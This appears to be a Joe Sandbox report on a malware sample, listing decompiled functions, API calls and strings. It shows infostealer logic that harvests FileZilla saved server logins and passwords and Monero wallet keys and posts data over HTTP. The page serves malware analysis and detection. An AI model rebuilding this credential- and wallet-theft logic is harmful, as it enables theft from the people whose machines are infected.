Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb956d8c760d05e3259eb11d275b7624343c3144a9e98b9f1bbffc72d9498ad
Instruction ID: d46d66c897fb460109176e9db854bfc5a055ea917d19c7e6358b1430653ef509
Opcode Fuzzy Hash: 5eb956d8c760d05e3259eb11d275b7624343c3144a9e98b9f1bbffc72d9498ad
Instruction Fuzzy Hash: 8D41F6F3A086045FF304AE3DEC4537AB7DADBD4320F1A863DD584D3B88E53999458692

Function 00C085B0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfa4fabc9e17db0b81ed7c23ee7266d1dd59b4f6e9282c67962cc6127c2b9431
Instruction ID: 28776c07ba1df4a13f93a48befff637fc468987c7bb8be297a90f168f87bcba5
Opcode Fuzzy Hash: dfa4fabc9e17db0b81ed7c23ee7266d1dd59b4f6e9282c67962cc6127c2b9431
Instruction Fuzzy Hash: 9211ADF3F4521947F3545879DD4936AA6869794330F2F423A4F28A7BC1E87C9C0A0284

Function 008C9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 008C0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 008C8E0B

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
Part of subcall function 008B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
Part of subcall function 008B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
Part of subcall function 008B99C0: ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
Part of subcall function 008B99C0: LocalFree.KERNEL32(008B148F), ref: 008B9A90
Part of subcall function 008B99C0: CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

Part of subcall function 008C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008C8E52

GetProcessHeap.KERNEL32(00000000,000F423F,008D0DBA,008D0DB7,008D0DB6,008D0DB3), ref: 008C0362
RtlAllocateHeap.NTDLL(00000000), ref: 008C0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 008C0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 008C03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 008C0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 008C0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 008C0562
lstrcat.KERNEL32(?,profile: null), ref: 008C0571
lstrcat.KERNEL32(?,url: ), ref: 008C0580
lstrcat.KERNEL32(?,00000000), ref: 008C0593
lstrcat.KERNEL32(?,008D1678), ref: 008C05A2
lstrcat.KERNEL32(?,00000000), ref: 008C05B5
lstrcat.KERNEL32(?,008D167C), ref: 008C05C4
lstrcat.KERNEL32(?,login: ), ref: 008C05D3
lstrcat.KERNEL32(?,00000000), ref: 008C05E6
lstrcat.KERNEL32(?,008D1688), ref: 008C05F5
lstrcat.KERNEL32(?,password: ), ref: 008C0604
lstrcat.KERNEL32(?,00000000), ref: 008C0617
lstrcat.KERNEL32(?,008D1698), ref: 008C0626
lstrcat.KERNEL32(?,008D169C), ref: 008C0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,008D0DB2), ref: 008C068E

Strings

<User>, xrefs: 008C0410
password: , xrefs: 008C05FB
<Port>, xrefs: 008C03C6
<Pass encoding="base64">, xrefs: 008C045A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 008C02A4
login: , xrefs: 008C05CA
profile: null, xrefs: 008C0568
url: , xrefs: 008C0577
browser: FileZilla, xrefs: 008C0559
<Host>, xrefs: 008C037C

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: cc0921171d3314d03ec7b98569176051634e1bc11a54a8703f40465c9a37d251
Instruction ID: 3d2f68df69e2385a9d9cae8d3de605bb7a3b891b264f23b0e4d87754731dd803
Opcode Fuzzy Hash: cc0921171d3314d03ec7b98569176051634e1bc11a54a8703f40465c9a37d251
Instruction Fuzzy Hash: 80D11DB1900108ABCB08EBE8DD9AEEE7738FF24744F50451DF106E6191DE74EA06CB62

Function 008B5960 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008B4839
Part of subcall function 008B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 008B4849

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 008B59F8
StrCmpCA.SHLWAPI(?,007BE270), ref: 008B5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008B5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,007BE310,00000000,?,007BCEF8,00000000,?,008D1A1C), ref: 008B5E71
lstrlen.KERNEL32(00000000), ref: 008B5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 008B5E93
RtlAllocateHeap.NTDLL(00000000), ref: 008B5E9A
lstrlen.KERNEL32(00000000), ref: 008B5EAF
lstrlen.KERNEL32(00000000), ref: 008B5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008B5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 008B5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 008B5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 008B5F4C
InternetCloseHandle.WININET(00000000), ref: 008B5FB0
InternetCloseHandle.WININET(00000000), ref: 008B5FBD
HttpOpenRequestA.WININET(00000000,007BE2F0,?,007BD9C8,00000000,00000000,00400100,00000000), ref: 008B5BF8

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

InternetCloseHandle.WININET(00000000), ref: 008B5FC7

Strings

------, xrefs: 008B5D4C
", xrefs: 008B5E16
", xrefs: 008B5CD5
p{, xrefs: 008B5A08
------, xrefs: 008B5A96
------, xrefs: 008B5C0B

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$p{
API String ID: 874700897-2654658531
Opcode ID: 2b7d4d3b71c69c86083b2b281ba1d0ec90eae3a954b7c1ba7b4a2eb68b523b33
Instruction ID: d7736f44e381c9d585a6a507d3344f6b7e0e246523af1fe61e2bdbdae62fd9af
Opcode Fuzzy Hash: 2b7d4d3b71c69c86083b2b281ba1d0ec90eae3a954b7c1ba7b4a2eb68b523b33
Instruction Fuzzy Hash: 7A12CB7182011CABDB19EBA4DC96FEEB378FF14704F50416DB10AA2191DF706A4ACB66

Function 008BCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C8B60: GetSystemTime.KERNEL32(008D0E1A,007BCF28,008D05AE,?,?,008B13F9,?,0000001A,008D0E1A,00000000,?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008C8B86

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008BCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 008BD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 008BD0CE
lstrcat.KERNEL32(?,00000000), ref: 008BD208
lstrcat.KERNEL32(?,008D1478), ref: 008BD217
lstrcat.KERNEL32(?,00000000), ref: 008BD22A
lstrcat.KERNEL32(?,008D147C), ref: 008BD239
lstrcat.KERNEL32(?,00000000), ref: 008BD24C
lstrcat.KERNEL32(?,008D1480), ref: 008BD25B
lstrcat.KERNEL32(?,00000000), ref: 008BD26E
lstrcat.KERNEL32(?,008D1484), ref: 008BD27D
lstrcat.KERNEL32(?,00000000), ref: 008BD290
lstrcat.KERNEL32(?,008D1488), ref: 008BD29F
lstrcat.KERNEL32(?,00000000), ref: 008BD2B2
lstrcat.KERNEL32(?,008D148C), ref: 008BD2C1
lstrcat.KERNEL32(?,00000000), ref: 008BD2D4
lstrcat.KERNEL32(?,008D1490), ref: 008BD2E3

Part of subcall function 008CA820: lstrlen.KERNEL32(008B4F05,?,?,008B4F05,008D0DDE), ref: 008CA82B
Part of subcall function 008CA820: lstrcpy.KERNEL32(008D0DDE,00000000), ref: 008CA885

lstrlen.KERNEL32(?), ref: 008BD32A
lstrlen.KERNEL32(?), ref: 008BD339

Part of subcall function 008CAA70: StrCmpCA.SHLWAPI(007B89A8,008BA7A7,?,008BA7A7,007B89A8), ref: 008CAA8F

DeleteFileA.KERNEL32(00000000), ref: 008BD3B4

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: dfec379a04aaf6c49f8e7e3d3177e299de93b55bf80d082295c7b0e01d31e69d
Instruction ID: 0843b357d05a25857e1a20e3b6c35b94affe6ed0614d0a6f06743642300d2726
Opcode Fuzzy Hash: dfec379a04aaf6c49f8e7e3d3177e299de93b55bf80d082295c7b0e01d31e69d
Instruction Fuzzy Hash: 34E1EFB1910108ABCB08EBE4DD96EEE7379FF14305F104169F506E6191DE35AE0ACBA7

Function 008BC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,007BC4B0,00000000,?,008D144C,00000000,?,?), ref: 008BCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 008BCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 008BCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 008BCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 008BCAD9
StrStrA.SHLWAPI(?,007BC408,008D0B52), ref: 008BCAF7
StrStrA.SHLWAPI(00000000,007BC3F0), ref: 008BCB1E
StrStrA.SHLWAPI(?,007BD1A0,00000000,?,008D1458,00000000,?,00000000,00000000,?,007B8A58,00000000,?,008D1454,00000000,?), ref: 008BCCA2
StrStrA.SHLWAPI(00000000,007BD260), ref: 008BCCB9

Part of subcall function 008BC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 008BC871
Part of subcall function 008BC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 008BC87C

StrStrA.SHLWAPI(?,007BD260,00000000,?,008D145C,00000000,?,00000000,007B8B68), ref: 008BCD5A
StrStrA.SHLWAPI(00000000,007B8848), ref: 008BCD71

Part of subcall function 008BC820: lstrcat.KERNEL32(?,008D0B46), ref: 008BC943
Part of subcall function 008BC820: lstrcat.KERNEL32(?,008D0B47), ref: 008BC957
Part of subcall function 008BC820: lstrcat.KERNEL32(?,008D0B4E), ref: 008BC978

lstrlen.KERNEL32(00000000), ref: 008BCE44
CloseHandle.KERNEL32(00000000), ref: 008BCE9C

Strings

, xrefs: 008BC9C6

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: fb755dc1e50e01d16b649db9f86a53836337a863d0480527db6dcd2fb66279ec
Instruction ID: 0cb12760c3625574edec094c5d47f8cf306a23cc6539aebc8865256e2836a89b
Opcode Fuzzy Hash: fb755dc1e50e01d16b649db9f86a53836337a863d0480527db6dcd2fb66279ec
Instruction Fuzzy Hash: 90E1CC71900108ABDB18EBE8DC96FEEB778FF14304F40416DF506A6191DF34AA4ACB66

Function 008C8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

RegOpenKeyExA.ADVAPI32(00000000,007BA180,00000000,00020019,00000000,008D05B6), ref: 008C83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 008C8426
wsprintfA.USER32 ref: 008C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 008C847B
RegCloseKey.ADVAPI32(00000000), ref: 008C848C
RegCloseKey.ADVAPI32(00000000), ref: 008C8499

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Strings

?, xrefs: 008C837A
%s\%s, xrefs: 008C844D
- , xrefs: 008C85A3

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
